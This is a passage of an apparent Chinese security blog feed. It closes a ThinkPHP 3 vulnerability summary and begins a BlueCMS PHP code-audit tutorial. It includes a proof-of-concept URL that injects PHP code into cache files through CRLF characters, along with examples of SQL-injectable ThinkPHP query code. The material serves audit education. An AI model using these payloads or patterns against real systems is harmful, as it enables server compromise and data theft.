class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">S</span>(<span class="hljs-params"><span class="hljs-variable">$name</span>,<span class="hljs-variable">$value</span>=<span class="hljs-string">''</span>,<span class="hljs-variable">$options</span>=<span class="hljs-literal">null</span></span>) </span>{<br> <span class="hljs-comment">// 缓存初始化</span><br> <span class="hljs-variable">$cache</span> = Think\Cache::getInstance();<br> <span class="hljs-comment">//具体缓存操作</span><br> <span class="hljs-keyword">if</span>(<span class="hljs-string">''</span>=== <span class="hljs-variable">$value</span>){ <span class="hljs-comment">// 获取缓存</span><br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$cache</span>->get(<span class="hljs-variable">$name</span>);<br> }<span class="hljs-keyword">elseif</span>(is_null(<span class="hljs-variable">$value</span>)) { <span class="hljs-comment">// 删除缓存</span><br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$cache</span>->rm(<span class="hljs-variable">$name</span>);<br> }<span class="hljs-keyword">else</span> { <span class="hljs-comment">// 缓存数据</span><br> <span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$options</span>)) {<br> <span class="hljs-variable">$expire</span> = <span class="hljs-keyword">isset</span>(<span class="hljs-variable">$options</span>[<span class="hljs-string">'expire'</span>])?<span class="hljs-variable">$options</span>[<span class="hljs-string">'expire'</span>]:<span class="hljs-literal">NULL</span>;<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-variable">$expire</span> = is_numeric(<span class="hljs-variable">$options</span>)?<span class="hljs-variable">$options</span>:<span class="hljs-literal">NULL</span>;<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$cache</span>->set(<span class="hljs-variable">$name</span>, <span class="hljs-variable">$value</span>, <span class="hljs-variable">$expire</span>);<br>}<br>}<br></code></pre></td></tr></table></figure><blockquote><p>ThinkPHP/Library/Think/Cache/Driver/File.class.php</p></blockquote><ul><li>先看 <code>file_put_contents()</code> ,就是这里写入了文件,我们需要控制其中的两个参数,文件名 <code>$filename</code>, 写入数据 <code>$data</code></li><li>文件名 <code>$filename</code>来自方法<code>filename($name)</code>,其中<code>$name</code>为S方法的外部参数,如果该参数可控,可能会导致文件名被控制,filename()是怎么操作的等下细看</li><li>写入数据 <code>$data</code> 来自<code>$value</code> 处理后的数据,<code>$value</code> 可控<ul><li><code>$value</code> 先经过序列化</li><li>然后使用 <code><?php\n//</code>, <code>?></code> 包裹 $value 序列化后的值,这是要写入一个php文件呀,危险!注意这里使用了行注释符<code>//</code>,保证写入的数据不会被解析,但是我们可以通过换行符等手段轻松绕过</li></ul></li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">File</span> <span class="hljs-keyword">extends</span> <span class="hljs-title">Cache</span> </span>{<br><span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">set</span>(<span class="hljs-params"><span class="hljs-variable">$name</span>,<span class="hljs-variable">$value</span>,<span class="hljs-variable">$expire</span>=<span class="hljs-literal">null</span></span>) </span>{<br> ……<br> <span class="hljs-variable">$filename</span> = <span class="hljs-keyword">$this</span>->filename(<span class="hljs-variable">$name</span>);<br> <span class="hljs-variable">$data</span> = serialize(<span class="hljs-variable">$value</span>);<br> <span class="hljs-variable">$data</span> = <span class="hljs-string">"<?php\n//"</span>.sprintf(<span class="hljs-string">'%012d'</span>,<span class="hljs-variable">$expire</span>).<span class="hljs-variable">$check</span>.<span class="hljs-variable">$data</span>.<span class="hljs-string">"\n?>"</span>;<br> <span class="hljs-variable">$result</span> = file_put_contents(<span class="hljs-variable">$filename</span>,<span class="hljs-variable">$data</span>);<br> <span class="hljs-keyword">if</span>(<span class="hljs-variable">$result</span>) {<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">$this</span>->options[<span class="hljs-string">'length'</span>]><span class="hljs-number">0</span>) {<br> <span class="hljs-comment">// 记录缓存队列</span><br> <span class="hljs-keyword">$this</span>->queue(<span class="hljs-variable">$name</span>);<br> }<br> clearstatcache();<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;<br> }<span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;<br> }<br> }<br></code></pre></td></tr></table></figure><p>下面关注一下文件的命名方式,具体方法为filename()</p><ul><li><code>C('DATA_CACHE_KEY')</code> 就是获取配置文件中 DATA_CACHE_KEY 的值,==该值默认为空。该值为空时,<code>$name</code> 最终的md5加密值也就清楚了==</li><li><code>$this->options['prefix']</code> 默认为空,最终的文件名则将由<code>$this->options['temp']</code> 决定</li><li><code>$this->options['temp']</code> 默认为 <code>Application/Runtime/Temp</code></li><li>所以在默认情况下,写入缓存的文件名应该为:<code>Application/Runtime/Temp/md5($name)</code>,<code>$name</code>为S方法外部参数</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">private</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">filename</span>(<span class="hljs-params"><span class="hljs-variable">$name</span></span>) </span>{<br> <span class="hljs-variable">$name</span>=md5(C(<span class="hljs-string">'DATA_CACHE_KEY'</span>).<span class="hljs-variable">$name</span>);<br> <span class="hljs-keyword">if</span>(C(<span class="hljs-string">'DATA_CACHE_SUBDIR'</span>)) {<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-variable">$filename</span>=<span class="hljs-keyword">$this</span>->options[<span class="hljs-string">'prefix'</span>].<span class="hljs-variable">$name</span>.<span class="hljs-string">'.php'</span>;<br> }<br> <span class="hljs-keyword">return</span> <span class="hljs-keyword">$this</span>->options[<span class="hljs-string">'temp'</span>].<span class="hljs-variable">$filename</span>;<br>}<br></code></pre></td></tr></table></figure><h3 id="漏洞利用-2"><a href="#漏洞利用-2" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p>poc如下</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs php">http:<span class="hljs-comment">//tp.test:8888/home/index/test?name=%0d%0aphpinfo();%0d%0a//</span><br></code></pre></td></tr></table></figure><blockquote><p>0x0d - \r, carrige return 回车</p><p>0x0a - \n, new line 换行</p><p>Windows 中换行为0d 0a,UNIX 换行为 0a</p></blockquote><p>参数名 name 决定泄露缓存文件名,md5(name)=b068931cc450442b63f5b3d276ea4297,文件名则为:b068931cc450442b63f5b3d276ea4297.php,默认目录为Application/Runtime/Temp,然后访问我们的php文件</p><img src="img/ThinkPHP3.x 漏洞总结/image-20210729185856826.png" alt="image-20210729185856826" style="zoom:50%;" /><h3 id="小结-2"><a href="#小结-2" class="headerlink" title="小结"></a>小结</h3><p>利用该漏洞需要文件名完全可控,所以得知道程序定义DATA_CACHE_KEY和options[‘prefix’],好在这两个参数默认为空。不过利用该漏洞需要知道程序在哪里使用了S方法,且S方法的参数可控,所以该漏洞基本只能通过代码审计找出,如果有了程序的源代码,那么文件名就更不是问题了</p><p>另外需要注意的是该漏洞被利用的另外一个原因 TP3 不安全的 web 目录部署,导致生成的缓存文件是可以直接访问的,在 TP5 一些版本中也有这个漏洞,但是 TP5 的 web 目录部署更加安全,这个漏洞并一定能利用</p><h1 id="0x04-总结"><a href="#0x04-总结" class="headerlink" title="0x04 总结"></a>0x04 总结</h1><p>本文主要总结了在审计 TP3 框架的代码时应该注意的点,在 TP3 框架基础知识上应该知道路由处理,快捷方法,模型的运作等,在漏洞审计方面应该知道哪些不规范的写法可能会造成漏洞,另外通过复现 TP3 历史漏洞知道,即使是规范的写法也是可能存在漏洞的。</p><p>本文篇幅较大,为了方便日后审计 TP 3的代码,这里简单总结下 TP3 的漏洞审计,至于没有提到的点,通过正常的代码审计方法也能正常审计 TP3 的代码,该部分根据日后的经验持续完善</p><h2 id="sql注入漏洞总结"><a href="#sql注入漏洞总结" class="headerlink" title="sql注入漏洞总结"></a>sql注入漏洞总结</h2><p>以下面的sql语句为例</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs sql"><span class="hljs-keyword">SELECT</span> AAA <span class="hljs-keyword">FROM</span> `BBB` <span class="hljs-keyword">WHERE</span> `CCC`<span class="hljs-operator">=</span><span class="hljs-string">'DDD'</span> <span class="hljs-keyword">ORDER</span> <span class="hljs-keyword">BY</span> EEE LIMI <span class="hljs-number">0</span>,<span class="hljs-number">1</span><br></code></pre></td></tr></table></figure><p>其中’xxx’的字符都有可能通过外部数据可控,在 TP3 中各字段由以下方法控制</p><table><thead><tr><th>字段</th><th>方法</th></tr></thead><tbody><tr><td>AAA</td><td>field()</td></tr><tr><td>BBB</td><td>table()</td></tr><tr><td>CCC</td><td>where()</td></tr><tr><td>DDD</td><td>where()</td></tr><tr><td>EEE</td><td>order()</td></tr></tbody></table><p>在代码审计时主要关注该版本是否存在漏洞,这些方法的写法是否规范</p><p>1)没有按官方要求传入参数</p><p>使用双引号解析参数基本都会绕过tp的过滤,下面发现where()就有这样的情况,其他方法应该也有,在这种情况下即使使用了I方法也没有用</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$name</span> = I(<span class="hljs-string">'GET.name'</span>);<br><span class="hljs-variable">$User</span>->field(<span class="hljs-string">'username,age'</span>)->where(<span class="hljs-string">"username='<span class="hljs-subst">$name</span>'"</span>)->select();<br></code></pre></td></tr></table></figure><p>2)没有使用 <strong>I方法</strong> 接收外部参数</p><p>虽然sql过滤不是在I方法中,但如果没有使用I方法接收参数,可能会让数据绕过底层的过滤。</p><p>如下没有使用I方法,通过注入bind的数组值会进入tp3处理bind数据的逻辑,从而绕过过滤</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-variable">$name</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'name'</span>];<br><span class="hljs-variable">$res</span> = <span class="hljs-variable">$User</span>->where(<span class="hljs-keyword">array</span>(<span class="hljs-string">'name'</span>=><span class="hljs-variable">$name</span>))->save(<span class="hljs-variable">$data</span>);<br></code></pre></td></tr></table></figure><p>3)tp3存在sql注入漏洞</p><p>利用现有漏洞,即使程序使用了规范的写法也有可能存在漏洞。该点需要注意TP3的版本,在TP3.2.3及以前的版本基本存在漏洞</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// save() 注入漏洞</span><br><span class="hljs-variable">$name</span> = I(<span class="hljs-string">'GET.name'</span>);<br><span class="hljs-variable">$User</span> = M(<span class="hljs-string">"user"</span>);<br><span class="hljs-variable">$data</span>[<span class="hljs-string">'jop'</span>] = <span class="hljs-string">'111'</span>;<br><span class="hljs-variable">$res</span> = <span class="hljs-variable">$User</span>->where(<span class="hljs-keyword">array</span>(<span class="hljs-string">'name'</span>=><span class="hljs-variable">$name</span>))->save(<span class="hljs-variable">$data</span>);<br><span class="hljs-comment">// delete(),find(),selsect() 注入漏洞</span><br><span class="hljs-variable">$id</span> = I(<span class="hljs-string">'GET.id'</span>);<br><span class="hljs-variable">$User</span> = M(<span class="hljs-string">"user"</span>);<br><span class="hljs-variable">$res</span> = <span class="hljs-variable">$User</span>->find(<span class="hljs-variable">$id</span>);<br><span class="hljs-comment">// order 注入漏洞</span><br><span class="hljs-variable">$order</span> = I(<span class="hljs-string">'GET.order'</span>);<br><span class="hljs-variable">$User</span> = M(<span class="hljs-string">"user"</span>);<br><span class="hljs-variable">$res</span> = <span class="hljs-variable">$User</span>->order(<span class="hljs-variable">$order</span>)->find();<br></code></pre></td></tr></table></figure><p>参考:</p><p>ThinkPHP3.2.3完全开发教程:<a href="https://www.kancloud.cn/manual/thinkphp/">https://www.kancloud.cn/manual/thinkphp/</a></p><p>Thinkphp3 漏洞总结:<a href="https://y4er.com/post/thinkphp3-vuln/">https://y4er.com/post/thinkphp3-vuln/</a></p><p>Thinkphp3个版本数据库操作以及底层代码分析:<a href="https://hu3sky.github.io/">https://hu3sky.github.io</a></p><p>Thinkphp v3.2.3 select&find&delete 注入漏洞:<a href="https://xz.aliyun.com/t/2629">https://xz.aliyun.com/t/2629</a></p><p>Thinkphp v3.2.3 update注入漏洞:<a href="https://www.anquanke.com/post/id/104847">https://www.anquanke.com/post/id/104847</a></p><p>ThinkPhp3.2.3缓存漏洞复现以及修复建议:<a href="https://www.pianshen.com/article/4312352780/">https://www.pianshen.com/article/4312352780/</a></p>]]></content>
<categories>
<category>php代码审计</category>
</categories>
<tags>
<tag>PHP</tag>
<tag>代码审计</tag>
<tag>ThinkPHP</tag>
</tags>
</entry>
<entry>
<title>通过 BlueCMS 学习 php 代码审计</title>
<link href="/2021/09/blue/"/>
<url>/2021/09/blue/</url>
<content type="html"><![CDATA[<h1 id="0x00-前言"><a href="#0x00-前言" class="headerlink" title="0x00 前言"></a>0x00 前言</h1><p>最近一直在学习php代码审计,入门过程比自己想象的慢很多,现在各个行业都在内卷,代码审计随着 web 开发技术的发展也会变得更加复杂。但不管现在技术多成熟,多复杂,基础知识一定要扎实。先记录下我目前学习php代码审计的过程:</p><figure class="highlight clean"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs clean">php基础语法巩固 -> php特性 -> 各漏洞挖掘方法 -> 从早期到近代的无MVC架构的CMS代码审计实战 -> 成熟的MVC架构代码审计实战<br></code></pre></td></tr></table></figure><p>网上已经有很多讲解如何去审计各种php程序漏洞的博客,大家都讲的很好,但学完这些知识后去真正上手审计一个CMS时,会突然发现自己什么都不会,我总结原因是自己的 web 开发知识太少了,不理解程序的逻辑,导致在审计大量代码时会晕头转向,没有方向</p><p>然后我边学最基础的web开发知识, 边找最简单的 CMS 实战审计,然后逐渐增加难度,慢慢的找到了感觉。目前我认为自己还是一个菜鸡,确实也还是一个菜鸡,所以自己打算好好整理 <code>从早期到近代的无MVC架构的CMS代码审计实战 -> 成熟的MVC架构代码审计实战</code> 的过程,并在博客上发表</p><p> <code>从早期到近代的无MVC架构的CMS代码审计实战 </code> 我依次选择了 BlueCMS, SeaCMS, DedeCMS, PhpCMS 这 4 个CMS,理由很简单,从简单到难,与之对应的是他们的活跃时间也逐渐靠近我们,在对这几个系统的代码审计过程中,也能感受到 web 开发技术的发展和趋势,相信完成这步后再审计非 MVC 架构的程序代码就会具有清晰的思路与把握</p><h1 id="0x01-BlueCMS-简介"><a href="#0x01-BlueCMS-简介" class="headerlink" title="0x01 BlueCMS 简介"></a>0x01 BlueCMS 简介</h1><p>BlueCMS 是一款应用于地方分类信息的门户系统,本文下载的源码为 BlueCMS v1.6 sp1版,可以追溯到2010年左右了,该系统确实很老,但审计该系统有一个好处是,即使现在web开发技术十分成熟了,但仍有人因为经验缺乏或时间原因会开发出类似BlueCMS这样简单的系统,甚至比BlueCMS更简单。通过对 BlueCMS 实战审计,能够熟悉这类简单 CMS 的程序逻辑</p><p>BlueCMS 被认为是练手代码审计的绝佳项目,以至于现在百度BlueCMS的关键词全是代码审计。那为什么 BlueCMS 都被审计烂了,我还要在发一篇BlueCMS的代码审计博客呢?首先BlueCMS确实经典,是一个入门的好项目;其次BlueCMS是无MVC架构时期最早流行的一批CMS,是 <code>从早期到近代无MVC架构的CMS代码审计实战 </code> 系列最标志的第一环</p><p>BlueCMS 源码也不太好找,这里推荐站长之家(<a href="http://down.chinaz.com/%EF%BC%89%EF%BC%8Cyyds">http://down.chinaz.com/),yyds</a></p><p>BlueCMS本地部署好后,先访问 /install/index.php 进行安装,感觉过程有点bug,不过返回首页后会发现安装成功</p><h1 id="0x02-全局分析"><a href="#0x02-全局分析" class="headerlink" title="0x02 全局分析"></a>0x02 全局分析</h1><p>在学完php的各漏洞代码审计方法后我就直接利用 seay 去扫描代码敏感关键字回溯的方法去审计代码,但在过程中却逐渐蒙圈,经验总结,在审计一个成熟的CMS之间,还是要做好全局分析的工作</p><h2 id="目录结构"><a href="#目录结构" class="headerlink" title="目录结构"></a>目录结构</h2><p>通过目录结构可以简单看出程序的逻辑</p><p>目录结构主要关注入口文件index.php在程序中的位置,BlueCMS时期的程序 index.php 基本位于程序根目录下,其实这是不安全的,会导致整个程序文件被窃取的风险,在审计后面的CMS中会发现这个问题会改善</p><img src="img/blueCMS/image-20210527105213302.png" alt="image-20210527105213302" style="zoom:50%;" /><h2 id="首页-index-php"><a href="#首页-index-php" class="headerlink" title="首页 index.php"></a>首页 index.php</h2><ul><li>首页 index.php 首先会加载 <code>common.inc.php</code>,<code>include/index.fun.php</code> 这些文件具体做了什么后面仔细分析</li><li>然后 index.php 就从数据库中获取首页信息,利用smarty模板显示。Smarty是BlueCMS引用的一个成熟的PHP模板引擎,Smarty在那个时期也是很火的,关于Smarty的具体实现代码我们就可以忽略了</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(<span class="hljs-string">'include/common.inc.php'</span>);<br><span class="hljs-keyword">require_once</span>(BLUE_ROOT.<span class="hljs-string">'include/index.fun.php'</span>);<br><span class="hljs-comment">// 获取新闻栏目、新闻分类列表、网站公告等数据</span><br>……<br><span class="hljs-comment">// 利用smarty模板引擎显示页面</span><br><span class="hljs-variable">$smarty</span>->display(<span class="hljs-string">'index.htm'</span>);<br></code></pre></td></tr></table></figure><p>可以看出index.php并不能算入口文件,它只是在做一个页面的显示工作,从这里我们大概知道前台是一个多入口的模式,注意多入口的系统需要对每个入口文件单独做安全过滤,它们通常都会加载同一个文件来实现,在BlueCMS中这个文件就是common.inc.php</p><h2 id="include-common-inc-php"><a href="#include-common-inc-php" class="headerlink" title="include/common.inc.php"></a>include/common.inc.php</h2><ul><li>对GPC数据做了过滤,但外部可控数据还包括 <code>$_SERVER</code>没有经过过滤</li><li>还需要留意的是 comon.inc.php 还做好了数据库连接工作,$db 为连接数据的对象,后续可以直接使用</li><li>comon.inc.php 的其他处理逻辑注释即可</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// 加载一些基础文件</span><br><span class="hljs-keyword">require_once</span> (BLUE_ROOT.<span class="hljs-string">'include/common.fun.php'</span>);<br><span class="hljs-keyword">require_once</span>(BLUE_ROOT.<span class="hljs-string">'include/cat.fun.php'</span>);<br><br><span class="hljs-comment">// 外部数据过滤</span><br><span class="hljs-keyword">if</span>(!get_magic_quotes_gpc())<br>{<br><span class="hljs-variable">$_POST</span> = deep_addslashes(<span class="hljs-variable">$_POST</span>);<br><span class="hljs-variable">$_GET</span> = deep_addslashes(<span class="hljs-variable">$_GET</span>);<br><span class="hljs-variable">$_COOKIES</span> = deep_addslashes(<span class="hljs-variable">$_COOKIES</span>);<br><span class="hljs-variable">$_REQUEST</span> = deep_addslashes(<span class="hljs-variable">$_REQUEST</span>);<br>}<br><br><span class="hljs-comment">// 数据库链接</span><br><span class="hljs-keyword">require_once</span>(BLUE_ROOT.<span class="hljs-string">'include/mysql.class.php'</span>);<br><span class="hljs-variable">$db</span> = <span class="hljs-keyword">new</span> mysql(<span class="hljs-variable">$dbhost</span>,<span class="hljs-variable">$dbuser</span>,<span class="hljs-variable">$dbpass</span>,<span class="hljs-variable">$dbname</span>);<br><br><span class="hljs-comment">// Smarty模板对象就是这引入的</span><br><span class="hljs-keyword">require</span>(BLUE_ROOT.<span class="hljs-string">'include/smarty/Smarty.class.php'</span>);<br><span class="hljs-variable">$smarty</span> = <span class="hljs-keyword">new</span> Smarty();<br><br><span class="hljs-comment">// 用户ip处理</span><br><span class="hljs-variable">$banned_ip</span> = get_bannedip();<br><span class="hljs-keyword">if</span> (@in_array(<span class="hljs-variable">$online_ip</span>, <span class="hljs-variable">$banned_ip</span>))<br>{<br>showmsg(<span class="hljs-string">'对不起,您的IP已被禁止,有问题请联系管理员!'</span>);<br>}<br></code></pre></td></tr></table></figure><h3 id="外部数据的具体过滤方式"><a href="#外部数据的具体过滤方式" class="headerlink" title="外部数据的具体过滤方式"></a>外部数据的具体过滤方式</h3><p>追踪一下<code>deep_addslashes()</code>方法,看下数据过滤的具体实现方式</p><blockquote><p>/include/common.fun.php</p></blockquote><p>具体过滤函数是addslashes(),在此情况下引号形式的sql注入基本会被过滤,所以凡是加了common.inc.php的入口文件,基本会实现这些过滤操作</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-comment">// include/common.fun.php 14-28:</span><br><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deep_addslashes</span>(<span class="hljs-params"><span class="hljs-variable">$str</span></span>)</span><br><span class="hljs-function"></span>{<br><span class="hljs-keyword">if</span>(is_array(<span class="hljs-variable">$str</span>))<br>{<br><span class="hljs-keyword">foreach</span>(<span class="hljs-variable">$str</span> <span class="hljs-keyword">as</span> <span class="hljs-variable">$key</span>=><span class="hljs-variable">$val</span>)<br>{<br><span class="hljs-variable">$str</span>[<span class="hljs-variable">$key</span>] = deep_addslashes(<span class="hljs-variable">$val</span>);<br>}<br>}<br><span class="hljs-keyword">else</span><br>{<br><span class="hljs-variable">$str</span> = addslashes(<span class="hljs-variable">$str</span>);<br>}<br><span class="hljs-keyword">return</span> <span class="hljs-variable">$str</span>;<br>}<br></code></pre></td></tr></table></figure><h3 id="数据库连接方式"><a href="#数据库连接方式" class="headerlink" title="数据库连接方式"></a>数据库连接方式</h3><blockquote><p>include/mysql.class.php</p></blockquote><ul><li>数据库连接方法是mysql_connect(),<code>$linkid</code>存放<strong>MySQL 连接标识</strong></li><li>这里应该提取到一个十分关键的信息,数据库编码为gbk,那么程序就有宽字节注入的可能</li><li>然后会看到mysql类还封装了很多底层sql的执行方法,知道这些方法是干嘛的就行</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">mysql</span> </span>{<br><span class="hljs-keyword">var</span> <span class="hljs-variable">$linkid</span>=<span class="hljs-literal">null</span>;<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$dbhost</span>, <span class="hljs-variable">$dbuser</span>, <span class="hljs-variable">$dbpw</span>, <span class="hljs-variable">$dbname</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$dbcharset</span> = <span class="hljs-string">'gbk'</span>, <span class="hljs-variable">$connect</span> = <span class="hljs-number">1</span></span>) </span>{<br> <span class="hljs-keyword">$this</span> -> mysql(<span class="hljs-variable">$dbhost</span>, <span class="hljs-variable">$dbuser</span>, <span class="hljs-variable">$dbpw</span>, <span class="hljs-variable">$dbname</span>, <span class="hljs-variable">$dbcharset</span>, <span class="hljs-variable">$connect</span>);<br> }<br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mysql</span>(<span class="hljs-params"><span class="hljs-variable">$dbhost</span>, <span class="hljs-variable">$dbuser</span>, <span class="hljs-variable">$dbpw</span>, <span class="hljs-variable">$dbname</span> = <span class="hljs-string">''</span>, <span class="hljs-variable">$dbcharset</span> = <span class="hljs-string">'gbk'</span>, <span class="hljs-variable">$connect</span>=<span class="hljs-number">1</span></span>)</span>{<br> <span class="hljs-variable">$func</span> = <span class="hljs-keyword">empty</span>(<span class="hljs-variable">$connect</span>) ? <span class="hljs-string">'mysql_pconnect'</span> : <span class="hljs-string">'mysql_connect'</span>;<br> <span class="hljs-keyword">if</span>(!<span class="hljs-keyword">$this</span>->linkid = @<span class="hljs-variable">$func</span>(<span class="hljs-variable">$dbhost</span>, <span class="hljs-variable">$dbuser</span>, <span class="hljs-variable">$dbpw</span>, <span class="hljs-literal">true</span>)){<br> <span class="hljs-keyword">$this</span>->dbshow(<span class="hljs-string">'Can not connect to Mysql!'</span>);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">if</span>(<span class="hljs-keyword">$this</span>->dbversion() > <span class="hljs-string">'4.1'</span>){<br> mysql_query( <span class="hljs-string">"SET NAMES gbk"</span>);<br> }<br> }<br> }<br> <span class="hljs-comment">// mysql_query()封装执行sql语句的方法</span><br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">query</span>(<span class="hljs-params"><span class="hljs-variable">$sql</span></span>)</span>{<br> <span class="hljs-keyword">if</span>(!<span class="hljs-variable">$query</span>=@mysql_query(<span class="hljs-variable">$sql</span>, <span class="hljs-keyword">$this</span>->linkid)){<br> <span class="hljs-keyword">$this</span>->dbshow(<span class="hljs-string">"Query error:<span class="hljs-subst">$sql</span>"</span>);<br> }<span class="hljs-keyword">else</span>{<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$query</span>;<br> }<br> }<br> <span class="hljs-comment">//getone() 封装查询数据的方法</span><br> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getone</span>(<span class="hljs-params"><span class="hljs-variable">$sql</span>, <span class="hljs-variable">$type</span>=MYSQL_ASSOC</span>)</span>{<br> <span class="hljs-variable">$query</span> = <span class="hljs-keyword">$this</span>->query(<span class="hljs-variable">$sql</span>,<span class="hljs-keyword">$this</span>->linkid);<br> <span class="hljs-variable">$row</span> = mysql_fetch_array(<span class="hljs-variable">$query</span>, <span class="hljs-variable">$type</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-variable">$row</span>;<br> }<br> ……<br>}<br></code></pre></td></tr></table></figure><h2 id="后台逻辑分析"><a href="#后台逻辑分析" class="headerlink" title="后台逻辑分析"></a>后台逻辑分析</h2><p>后台一般只有通过身份验证后才能访问,提前就有一层安全保障,但后台程序一般都是漏洞百出,我们很多时候只有靠后台才能拿到服务器的shell。这里具体分析一下BlueCMS的后台逻辑</p><h3 id="后台入口文件"><a href="#后台入口文件" class="headerlink" title="后台入口文件"></a>后台入口文件</h3><blockquote><p>admin/index.php</p></blockquote><ul><li>admin/index.php 的大部分逻辑由 admin/include/common.inc.php 处理</li><li>index.php 剩下内容主要用于显示后台的页面</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-keyword">require_once</span>(dirname(<span class="hljs-keyword">__FILE__</span>) . <span class="hljs-string">"/include/common.inc.php"</span>);<br><span class="hljs-variable">$act</span>=!<span class="hljs-keyword">empty</span>(<span 